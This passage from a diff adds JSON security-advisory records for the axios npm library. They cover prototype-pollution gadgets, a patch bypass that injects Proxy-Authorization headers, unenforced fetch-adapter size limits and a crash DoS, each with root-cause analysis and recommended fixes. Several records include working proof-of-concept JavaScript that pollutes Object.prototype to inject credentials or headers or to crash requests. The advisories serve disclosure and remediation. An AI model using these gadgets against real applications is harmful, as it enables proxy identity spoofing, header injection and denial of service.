Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined;\nsetProxy(options, proxy, location);\n```\n\n### Fix 2: Enumerate all properties not in defaults and apply `hasOwnProperty`\n\nProperties not in defaults that are read by http.js and have security impact:\n- `config.proxy` — MITM\n- `config.socketPath` — Unix socket SSRF\n- `config.transport` — request hijack\n- `config.lookup` — DNS hijack\n- `config.beforeRedirect` — redirect manipulation\n- `config.httpAgent` / `config.httpsAgent` — agent injection\n\nAll should use `hasOwnProperty` checks.\n\n### Fix 3: Use null-prototype object for merged config\n\n```javascript\n// In lib/core/mergeConfig.js\nconst config = Object.create(null);\n```\n\n## Resources\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [CWE-441: Unintended Proxy](https://cwe.mitre.org/data/definitions/441.html)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)\n\n## Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-16 | Vulnerability discovered during source code audit |\n| 2026-04-16 | PoC developed and verified — full MITM confirmed |\n| TBD | Report submitted to vendor via GitHub Security Advisory |",
+ "id": "GHSA-35jp-ww65-95wh",
+ "modified": "2026-06-01T20:14:14.212542311Z",
+ "published": "2026-05-29T16:04:00Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/axios/axios/security/advisories/GHSA-35jp-ww65-95wh"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://github.com/advisories/GHSA-fvcv-3m26-pcqx"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/axios/axios"
+ }
+ ],
+ "related": [
+ "CGA-8qq4-98gv-pwj5"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-654m-c8p4-x5fp/GHSA-654m-c8p4-x5fp.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "axios",
+ "purl": "pkg:npm/axios"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "1.15.2"
+ },
+ {
+ "fixed": "1.16.0"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ],
+ "versions": [
+ "1.15.2"
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-44489"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-113",
+ "CWE-1321"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-05-29T15:51:02Z",
+ "nvd_published_at": null,
+ "severity": "LOW"
+ },
+ "details": "# [Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2\n\n## Summary\n\nThe `Object.create(null)` fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the **top-level config object** from prototype pollution. However, **nested objects** created by `utils.merge()` (e.g., `config.proxy`) are still constructed as plain `{}` with `Object.prototype` in their chain.\n\nThe `setProxy()` function at `lib/adapters/http.js:209-223` reads `proxy.username`, `proxy.password`, and `proxy.auth` **without `hasOwnProperty` checks**. When `Object.prototype.username` is polluted, `setProxy()` constructs a `Proxy-Authorization` header with attacker-controlled credentials and injects it into **every proxied HTTP request**.\n\n**Severity:** Medium (CVSS 5.4)\n**Affected Versions:** 1.15.2 (and potentially 1.15.1)\n**Vulnerable Component:** `lib/adapters/http.js` (`setProxy()`) + `lib/utils.js` (`merge()`)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n- **CWE-113:** Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')\n\n## CVSS 3.1\n\n**Score: 5.6 (Medium)**\n\nVector: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP triggered remotely via vulnerable dependency |\n| Attack Complexity | **High** | Requires **two** preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure `config.proxy`. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Within the proxy authentication context |\n| Confidentiality | **Low** | Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike `config.baseURL` hijack) |\n| Integrity | **Low** | Proxy-Authorization header injected; proxy may apply different access policies based on injected identity |\n| Availability | **Low** | If proxy rejects the injected credentials, legitimate requests may fail |\n\n### Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)\n\n| Factor | GHSA-q8qp-cvcw-x6jj | This Finding |\n|---|---|---|\n| Precondition | **None** — all requests affected | Must have `config.proxy` set |\n| `config.baseURL` PP | Hijacks **all** relative URL requests | Not applicable |\n| `config.auth` PP | Injects `Authorization` to **target server** | Only injects `Proxy-Authorization` to **proxy** |\n| Attacker sees traffic | Yes (via baseURL redirect) | **No** — only proxy identity affected |\n| Impact scope | Universal — every axios request | Only requests with explicit proxy config |\n\n## This Is a Patch Bypass\n\nThis vulnerability **bypasses the fix** introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses `Object.create(null)` for the config object, blocking direct prototype pollution on `config.proxy`, `config.auth`, etc.\n\nHowever, the fix is **incomplete**: when a user legitimately sets `config.proxy = { host: 'proxy.corp', port: 8080 }`, the `mergeConfig()` function passes this object through `utils.merge()`, which creates a **new plain `{}` object** (`lib/utils.js:406: const result = {};`). This new object inherits from `Object.prototype`, re-opening the prototype pollution attack surface on the **nested** proxy object.\n\n| Layer | Protection | Status |\n|---|---|---|\n| `config` (top-level) | `Object.create(null)` | ✓ Fixed |\n| `config.proxy` (nested) | `utils.merge()` → `const result = {}` | **✗ NOT Fixed** |\n| `setProxy()` reads | `proxy.username`, `proxy.auth` without `hasOwnProperty` | **✗ NOT Fixed** |\n\n## Root Cause Analysis\n\n### Step 1: `utils.merge()` creates plain `{}` for nested objects\n\n**File:** `lib/utils.js`, line 406\n\n```javascript\nfunction merge(/* obj1, obj2, obj3, ... */) {\n const result = {}; // ← Plain object with Object.prototype!\n // ...\n}\n```\n\nWhen `mergeConfig()` processes `config.proxy`, `getMergedValue()` calls `utils.merge()`, which creates a plain `{}` for the nested object. This plain object inherits from `Object.prototype`.\n\n### Step 2: `setProxy()` reads proxy properties without `hasOwnProperty`\n\n**File:** `lib/adapters/http.js`, lines 209-223\n\n```javascript\nfunction setProxy(options, configProxy, location) {\n let proxy = configProxy;\n // ...\n if (proxy) {\n if (proxy.username) { // ← traverses Object.prototype!\n proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');\n }\n\n if (proxy.auth) { // ← traverses Object.prototype!\n const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password);\n if (validProxyAuth) {\n proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');\n }\n // ...\n const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64');\n options.headers['Proxy-Authorization'] = 'Basic ' + base64; // ← INJECTED!\n }\n // ...\n }\n}\n```\n\n### Complete Attack Chain\n\n```\nObject.prototype.username = 'attacker'\nObject.prototype.password = 'stolen-creds'\n │\n ▼\n User config: { proxy: { host: 'proxy.corp', port: 8080 } }\n │\n ▼\n mergeConfig() → utils.merge() → new plain {}\n config.proxy = { host: 'proxy.corp', port: 8080 } (own properties)\n config.proxy inherits from Object.prototype (has .username, .password)\n │\n ▼\n setProxy() at http.js:209:\n proxy.username → 'attacker' (from Object.prototype) → truthy!\n proxy.auth = 'attacker' + ':' + 'stolen-creds'\n │\n ▼\n http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n Injected into EVERY proxied HTTP request!\n```\n\n## Proof of Concept\n\n```javascript\nimport http from 'http';\nimport axios from './index.js';\n\n// Proxy server logs received Proxy-Authorization\nconst proxyServer = http.createServer((req, res) =\u003e {\n console.log('Proxy-Authorization:', req.headers['proxy-authorization']);\n res.writeHead(200);\n res.end('OK');\n});\nawait new Promise(r =\u003e proxyServer.listen(0, r));\nconst proxyPort = proxyServer.address().port;\n\n// Target server\nconst target = http.createServer((req, res) =\u003e { res.writeHead(200); res.end(); });\nawait new Promise(r =\u003e target.listen(0, r));\n\n// Simulate prototype pollution from vulnerable dependency\nObject.prototype.username = 'attacker';\nObject.prototype.password = 'stolen-creds';\n\n// Developer sets proxy WITHOUT auth — expects no auth header\nawait axios.get(`http://127.0.0.1:${target.address().port}/api`, {\n proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' },\n});\n\n// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n// Decoded: attacker:stolen-creds\n\ndelete Object.prototype.username;\ndelete Object.prototype.password;\nproxyServer.close();\ntarget.close();\n```\n\n## Reproduction Environment\n\n```\nAxios version: 1.15.2 (latest patched release)\nNode.js version: v20.20.2\nOS: macOS Darwin 25.4.0\n```\n\n## Reproduction Steps\n\n```bash\n# 1. Install axios 1.15.2\nnpm pack axios@1.15.2\ntar xzf axios-1.15.2.tgz \u0026\u0026 mv package axios-1.15.2\ncd axios-1.15.2 \u0026\u0026 npm install\n\n# 2. Save PoC as poc.mjs (code from Section 7 above)\n\n# 3. Run\nnode poc.mjs\n```\n\n## Verified PoC Output\n\n```\n=== Axios 1.15.2: PP → Proxy-Authorization Injection ===\n\n[1] Normal request with proxy (no auth):\n Proxy-Authorization: none\n\n[2] Prototype Pollution: Object.prototype.username = \"attacker\"\n Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz\n Decoded: attacker:stolen-creds\n → PP injected proxy credentials: attacker:stolen-creds\n\n[3] Impact:\n ✗ Attacker injects Proxy-Authorization into all proxied requests\n ✗ If proxy logs auth, attacker credential appears in proxy logs\n ✗ If proxy authenticates based on this, attacker controls proxy identity\n ✗ Works on 1.15.2 despite null-prototype config fix\n ✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype\n```\n\n### Confirming the Bypass Mechanism\n\n```\nDirect PP (config.proxy) — BLOCKED by 1.15.2:\n Object.prototype.proxy = { host: 'evil' }\n config.proxy = undefined ← null-prototype blocks ✓\n\nNested PP (proxy.username) — BYPASSES 1.15.2:\n Object.prototype.username = 'attacker'\n config.proxy = { host: 'legit', port: 8080 } ← user-set, own properties\n config.proxy own keys: ['host', 'port'] ← username NOT own\n config.proxy.username = 'attacker' ← inherited from Object.prototype!\n hasOwn(config.proxy, 'username') = false\n```\n```\n\n## Impact Analysis\n\n- **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity.\n- **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record \"attacker\" instead of the real user, enabling audit trail manipulation.\n- **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain.\n- **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments.\n\n### Prerequisite\n\n- Application must use `config.proxy` (explicit proxy configuration)\n- A separate prototype pollution vulnerability must exist in the dependency tree\n- `Object.prototype.username` or `Object.prototype.auth` must be polluted\n\n## Recommended Fix\n\n### Fix 1: Use `hasOwnProperty` in `setProxy()`\n\n```javascript\nfunction setProxy(options, configProxy, location) {\n let proxy = configProxy;\n // ...\n if (proxy) {\n const hasOwn = (obj, key) =\u003e Object.prototype.hasOwnProperty.call(obj, key);\n\n if (hasOwn(proxy, 'username')) {\n proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');\n }\n\n if (hasOwn(proxy, 'auth')) {\n // ... existing auth handling ...\n }\n }\n}\n```\n\n### Fix 2: Use null-prototype objects in `utils.merge()`\n\n```javascript\n// lib/utils.js line 406\nfunction merge(/* obj1, obj2, obj3, ... */) {\n const result = Object.create(null); // ← null-prototype for nested objects too\n // ...\n}\n```\n\n### Fix 3 (Comprehensive): Apply null-prototype to all objects created by `getMergedValue()`\n\n## References\n\n- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)\n- [GHSA-q8qp-cvcw-x6jj: Original PP Gadgets Fix (Axios 1.15.2)](https://github.com/advisories/GHSA-q8qp-cvcw-x6jj)\n- [GHSA-fvcv-3m26-pcqx: Related PP Gadget (Axios 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)\n- [Axios GitHub Repository](https://github.com/axios/axios)",
+ "id": "GHSA-654m-c8p4-x5fp",
+ "modified": "2026-06-01T18:14:14.653550483Z",
+ "published": "2026-05-29T15:51:02Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/axios/axios/security/advisories/GHSA-654m-c8p4-x5fp"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/axios/axios"
+ }
+ ],
+ "related": [
+ "CGA-7vg9-5766-fmwh"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Axios has a Patch Bypass: Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-777c-7fjr-54vf/GHSA-777c-7fjr-54vf.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "axios",
+ "purl": "pkg:npm/axios"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "1.7.0"
+ },
+ {
+ "fixed": "1.16.0"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-44488"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-770"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-06-04T14:21:37Z",
+ "nvd_published_at": null,
+ "severity": "HIGH"
+ },
+ "details": "## Summary\n\nAxios versions `1.7.0` through `1.15.x` did not enforce configured request and response size limits when requests were sent with the `fetch` adapter. Applications that selected `adapter: 'fetch'`, or ran in environments where axios resolved to the fetch adapter, could receive or send bodies larger than `maxContentLength` or `maxBodyLength` despite those limits being explicitly configured.\n\nThis can cause resource exhaustion in server-side usage when a malicious or compromised server returns an oversized response, when an attacker can supply a large `data:` URL, or when an application forwards attacker-controlled request bodies through axios while relying on `maxBodyLength` as a boundary.\n\n## Impact\n\nThe impact is availability-only. Affected applications may process, buffer, or transmit data beyond the configured limit, potentially exhausting memory, CPU, or network resources.\n\nThis does not affect axios’s default unlimited behaviour by itself: `maxContentLength` and `maxBodyLength` default to `-1`. The vulnerability exists when an application has configured finite limits and expects axios to enforce them.\n\nServer-side runtimes are the primary concern. Browser impact is generally constrained by the browser process and browser fetch behavior, and should not be described as server process exhaustion.\n\n## Affected Functionality\n\nAffected functionality includes requests using the built-in `fetch` adapter with finite `maxContentLength` or `maxBodyLength` values.\n\nRelevant configurations include:\n\n- `adapter: 'fetch'`\n- `adapter: ['fetch', ...]` when `fetch` is selected\n- environments where neither `xhr` nor `http` is available and axios falls back to `fetch`\n- custom fetch environments configured through `env.fetch`\n\nUnaffected functionality includes:\n\n- Node.js default `http` adapter enforcement\n- versions before the fetch adapter was introduced\n- configurations that do not rely on finite axios size limits\n\n## Technical Details\n\nIn vulnerable versions, `lib/adapters/fetch.js` destructured request config without `maxContentLength` or `maxBodyLength`. The adapter dispatched `fetch()` and then materialized the response through `text()`, `arrayBuffer()`, `blob()`, or related resolvers without checking the configured response limit.\n\nThe fix in `e5540dc` added:\n\n- `maxContentLength` and `maxBodyLength` reads in `lib/adapters/fetch.js`\n- upfront `data:` URL decoded-size checks\n- outbound body-size checks before dispatch\n- `Content-Length` response pre-checks\n- streaming response enforcement\n- fallback checks for environments without `ReadableStream`\n- regression tests in `tests/unit/adapters/fetch.test.js`\n\n## Proof of Concept of Attack\n\n```js\nimport http from 'node:http';\nimport axios from 'axios';\n\nconst server = http.createServer((req, res) =\u003e {\n let received = 0;\n\n req.on('data', chunk =\u003e {\n received += chunk.length;\n });\n\n req.on('end', () =\u003e {\n res.end(JSON.stringify({ received }));\n });\n});\n\nawait new Promise(resolve =\u003e server.listen(0, resolve));\nconst url = `http://127.0.0.1:${server.address().port}/`;\n\nawait axios.post(url, 'A'.repeat(2 * 1024 * 1024), {\n adapter: 'fetch',\n maxBodyLength: 1024\n});\n\n// Vulnerable versions succeed and the server receives 2097152 bytes.\n// Fixed versions reject with ERR_BAD_REQUEST.\n\nserver.close();\n```\n\n## Workarounds\n\nUse the Node.js `http` adapter for server-side requests where finite size limits are security-relevant.\n\nValidate or cap attacker-controlled request bodies before passing them to axios.\n\nReject or strictly allowlist attacker-controlled URL schemes, especially `data:` URLs, before calling axios.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\nWhen Axios is used with adapter: 'fetch', configured body/response size limits are not enforced. This allows oversized uploads/downloads (including data: URLs) despite explicit limits, which can lead to memory/resource exhaustion in server-side usage.\n\n### Details\nmaxBodyLength and maxContentLength are not applied in the fetch adapter flow:\n - lib/adapters/fetch.js (146-160): config destructuring does not include these controls.\n - lib/adapters/fetch.js (220-234): request is dispatched with fetch() without request-size enforcement.\n - lib/adapters/fetch.js (267-283): response is materialized via text(), arrayBuffer(), blob(), etc. without response-size checks.\nBy contrast, the HTTP adapter enforces both limits.\n\n### PoC\n Environment:\n - Axios main at commit f7a4ee2\n - Node v24.2.0\n\nSteps:\n 1. Start an HTTP server that counts received bytes and echoes {received}.\n 2. Send 2 MiB with:\n - adapter: 'fetch'\n - maxBodyLength: 1024\n 3. Request a 4 KiB data: URL with:\n - adapter: 'fetch'\n - maxContentLength: 16\n\nExpected secure behavior: both requests rejected.\n Observed:\n - Upload: success, server received 2097152\n - data: response: success, length 4096\n\n### Impact\nType: DoS / resource exhaustion due to limit bypass.\nImpacted: applications using Axios fetch adapter as a server-side security control boundary for untrusted request/response sizes.\n\u003c/details\u003e\n\n---",
+ "id": "GHSA-777c-7fjr-54vf",
+ "modified": "2026-06-04T14:30:08.166823960Z",
+ "published": "2026-06-04T14:21:37Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/axios/axios/security/advisories/GHSA-777c-7fjr-54vf"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/axios/axios/pull/10795"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/axios/axios/pull/10796"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/axios/axios"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/axios/axios/releases/tag/v1.16.0"
+ }
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "Allocation of Resources Without Limits or Throttling in Axios"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-898c-q2cr-xwhg/GHSA-898c-q2cr-xwhg.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "axios",
+ "purl": "pkg:npm/axios"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "1.0.0"
+ },
+ {
+ "fixed": "1.16.0"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "last_known_affected_version_range": "\u003c= 0.31.1",
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-898c-q2cr-xwhg/GHSA-898c-q2cr-xwhg.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "axios",
+ "purl": "pkg:npm/axios"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "0.32.0"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-44490"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-1321"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-05-29T15:54:57Z",
+ "nvd_published_at": null,
+ "severity": "MODERATE"
+ },
+ "details": "## Summary\n\naxios `1.15.2` exposes two read-side prototype-pollution gadgets. When `Object.prototype` is polluted by an upstream dependency in the same process (e.g. lodash `_.merge` / [CVE-2018-16487](https://nvd.nist.gov/vuln/detail/CVE-2018-16487)), axios silently picks up the polluted values:\n\n1. **Header injection** - `lib/utils.js` line 406 builds `merge()`'s accumulator as `result = {}`, so `result[targetKey]` (line 414) walks `Object.prototype` and the polluted bucket's own keys are copied into the merged headers and ride out on the wire.\n2. **Crash DoS** - `lib/core/mergeConfig.js` line 26 builds the `hasOwnProperty` descriptor as a plain-object literal. `Object.defineProperty` reads `descriptor.get`/`descriptor.set` via the prototype chain, so a polluted `Object.prototype.get` or `Object.prototype.set` makes the call throw `TypeError` synchronously on every axios request.\n\n## Affected Properties\n\n| Polluted slot | Effect |\n|---|---|\n| `Object.prototype.common` | injects headers on every method |\n| `Object.prototype.delete` / `.head` / `.post` / `.put` / `.patch` / `.query` | injects headers on the matching method |\n| `Object.prototype.get` | every axios request throws `TypeError: Getter must be a function` from `mergeConfig.js:26` |\n| `Object.prototype.set` | every axios request throws `TypeError: Setter must be a function` from `mergeConfig.js:26` |\n\nPer-request headers (`axios.request(url, { headers: {...} })`) overwrite polluted entries. Polluting `Object.prototype.get` triggers the crash before any header is built.\n\n## Proof of Concept\n\n```javascript\nconst axios = require('axios');\n\n// Finding A - header injection\nObject.prototype.common = { 'X-Poisoned': 'yes' };\nawait axios.get('http://api.example.com/users');\n// Wire request carries `X-Poisoned: yes`.\n\n// Finding B - crash DoS\nObject.prototype.get = { something: 'anything' };\nawait axios.get('http://api.example.com/users');\n// TypeError: Getter must be a function: #\u003cObject\u003e\n// at Function.defineProperty (\u003canonymous\u003e)\n// at mergeConfig (lib/core/mergeConfig.js:26:10)\n```\n\n## Impact\n\n- **Server hang** (`Content-Length: 99999`): receiver waits for a body that never arrives. Affects requests with a body.\n- **CL+TE conflict** (`Transfer-Encoding: chunked` rides alongside axios's auto `Content-Length`): receiver rejects with `400 Bad Request`. Affects requests with a body.\n- **Response suppression** (`If-None-Match: *`): receiver returns empty `304 Not Modified`. Affects GET / HEAD.\n- **Crash DoS** (`Object.prototype.get` / `.set`): every axios request fails synchronously with `TypeError`, not `AxiosError`, so handlers filtering on `error.isAxiosError` mishandle the failure.\n\n## Attack Flow\n\n```mermaid\nflowchart TD\n ROOT[\"Polluted Object.prototype\u003cbr/\u003evia upstream gadget (e.g. lodash \u0026lt;= 4.17.10 _.merge / CVE-2018-16487)\u003cbr/\u003eaxios \u0026lt;= 1.15.2\"]\n\n ROOT --\u003e CLASS_A[\"A. Arbitrary HTTP Header Injection\u003cbr/\u003ePolluted defaults.headers slot rides along on every outbound axios request\"]\n ROOT --\u003e CLASS_B[\"B. Crash DoS via Object.prototype.get / .set\u003cbr/\u003ePolluted descriptor breaks Object.defineProperty in mergeConfig\"]\n\n CLASS_A --\u003e PRE_A[\"Precondition: header not set per-request by the app\u003cbr/\u003eInjected via defaults.headers slot\u003cbr/\u003e(common, delete, head, post, put, patch, query)\"]\n\n PRE_A --\u003e PA1[\"Response Suppression\u003cbr/\u003eTrigger: common = {If-None-Match: *}\u003cbr/\u003eAffects GET / HEAD\"]\n PA1 --\u003e SA1[\"DoS\u003cbr/\u003e304 Not Modified empty\"]\n\n PRE_A --\u003e PA2[\"Server Hang\u003cbr/\u003eTrigger: common = {Content-Length: 99999}\u003cbr/\u003eAffects requests with body\"]\n PA2 --\u003e SA2[\"DoS\u003cbr/\u003econnection hang\"]\n\n PRE_A --\u003e PA3[\"CL+TE Conflict\u003cbr/\u003eTrigger: common = {Transfer-Encoding: chunked}\u003cbr/\u003eAffects requests with body\"]\n PA3 --\u003e SA3[\"DoS\u003cbr/\u003e400 Bad Request\"]\n\n CLASS_B --\u003e SB1[\"DoS\u003cbr/\u003eTypeError: Getter / Setter must be a function\u003cbr/\u003eCrashes every axios request, not only GET\"]\n\n %% Styles\n style ROOT fill:#f87171,stroke:#991b1b,color:#fff\n style CLASS_A fill:#fb923c,stroke:#9a3412,color:#fff\n style CLASS_B fill:#fb923c,stroke:#9a3412,color:#fff\n style PRE_A fill:#e2e8f0,stroke:#64748b,color:#1e293b\n style PA1 fill:#fbbf24,stroke:#92400e,color:#000\n style PA2 fill:#fbbf24,stroke:#92400e,color:#000\n style PA3 fill:#fbbf24,stroke:#92400e,color:#000\n style SA1 fill:#ef4444,stroke:#991b1b,color:#fff\n style SA2 fill:#ef4444,stroke:#991b1b,color:#fff\n style SA3 fill:#ef4444,stroke:#991b1b,color:#fff\n style SB1 fill:#ef4444,stroke:#991b1b,color:#fff\n```\n\n## Root Cause\n\n**Finding A.** `lib/utils.js:404-429`'s `merge()` creates `result = {}` at line 406. The dangerous-keys filter on lines 408-411 blocks the write side, but the read at line 414 (`isPlainObject(result[targetKey])`) still walks the prototype chain. When `targetKey` matches a polluted slot, `result[targetKey]` returns the polluted nested object, and the recursive `merge(result[targetKey], val)` on line 415 iterates that object's own keys via `forEach` and copies them as own properties into the new accumulator. Those keys flow through `mergeConfig.js:35` → `Axios.js:148` (`utils.merge(headers.common, headers[config.method])`) → `Axios.js:155` (`AxiosHeaders.concat(...)`) → onto the wire via `http.js:677` (`headers: headers.toJSON()`) → `http.js:767` (`transport.request(options, ...)`).\n\n**Finding B.** `lib/core/mergeConfig.js:25` correctly makes `config = Object.create(null)`, but the descriptor passed on line 26 is a plain-object literal - its `get`/`set` lookups walk `Object.prototype`. A polluted non-function `Object.prototype.get` or `.set` makes `Object.defineProperty` throw `TypeError: Getter must be a function` (or `Setter must be a function`) before the call returns. The descriptor is built unconditionally on every `mergeConfig` invocation, so every axios request throws - POST, PUT, DELETE, PATCH, HEAD, QUERY, not only GET.\n\n## Suggested Fix\n\nUse null-prototype objects in place of the plain-object literals at `lib/utils.js:406` and `lib/core/mergeConfig.js:26-31`. The same descriptor pattern recurs at `lib/core/AxiosError.js:37`, `lib/core/AxiosHeaders.js:100`, `lib/utils.js:447/454/492/498`, and `lib/adapters/adapters.js:28/32`.\n\n## Resources\n\n- [CVE-2018-16487](https://nvd.nist.gov/vuln/detail/CVE-2018-16487) - `lodash.merge` prototype pollution in `lodash \u003c= 4.17.10`\n- [CWE-1321](https://cwe.mitre.org/data/definitions/1321.html) - Improperly Controlled Modification of Object Prototype Attributes",
+ "id": "GHSA-898c-q2cr-xwhg",
+ "modified": "2026-06-01T18:14:14.962380027Z",
+ "published": "2026-05-29T15:54:57Z",
+ "references": [
+ {
+ "type": "WEB",
+ "url": "https://github.com/axios/axios/security/advisories/GHSA-898c-q2cr-xwhg"
+ },
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16487"
+ },
+ {
+ "type": "PACKAGE",
+ "url": "https://github.com/axios/axios"
+ }
+ ],
+ "related": [
+ "CGA-q744-r27r-j485"
+ ],
+ "schema_version": "1.7.5",
+ "severity": [
+ {
+ "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L",
+ "type": "CVSS_V3"
+ }
+ ],
+ "summary": "axios has DoS \u0026 Header Injection via Prototype Pollution Read-Side Gadgets in axios merge functions"
+ },
+ {
+ "affected": [
+ {
+ "database_specific": {
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-hfxv-24rg-xrqf/GHSA-hfxv-24rg-xrqf.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "axios",
+ "purl": "pkg:npm/axios"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "1.0.0"
+ },
+ {
+ "fixed": "1.16.0"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ },
+ {
+ "database_specific": {
+ "last_known_affected_version_range": "\u003c= 0.31.1",
+ "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-hfxv-24rg-xrqf/GHSA-hfxv-24rg-xrqf.json"
+ },
+ "package": {
+ "ecosystem": "npm",
+ "name": "axios",
+ "purl": "pkg:npm/axios"
+ },
+ "ranges": [
+ {
+ "events": [
+ {
+ "introduced": "0"
+ },
+ {
+ "fixed": "0.32.0"
+ }
+ ],
+ "type": "SEMVER"
+ }
+ ]
+ }
+ ],
+ "aliases": [
+ "CVE-2026-44496"
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-400",
+ "CWE-1333"
+ ],
+ "github_reviewed": true,
+ "github_reviewed_at": "2026-06-04T14:24:06Z",
+ "nvd_published_at": null,
+ "severity": "HIGH"
+ },
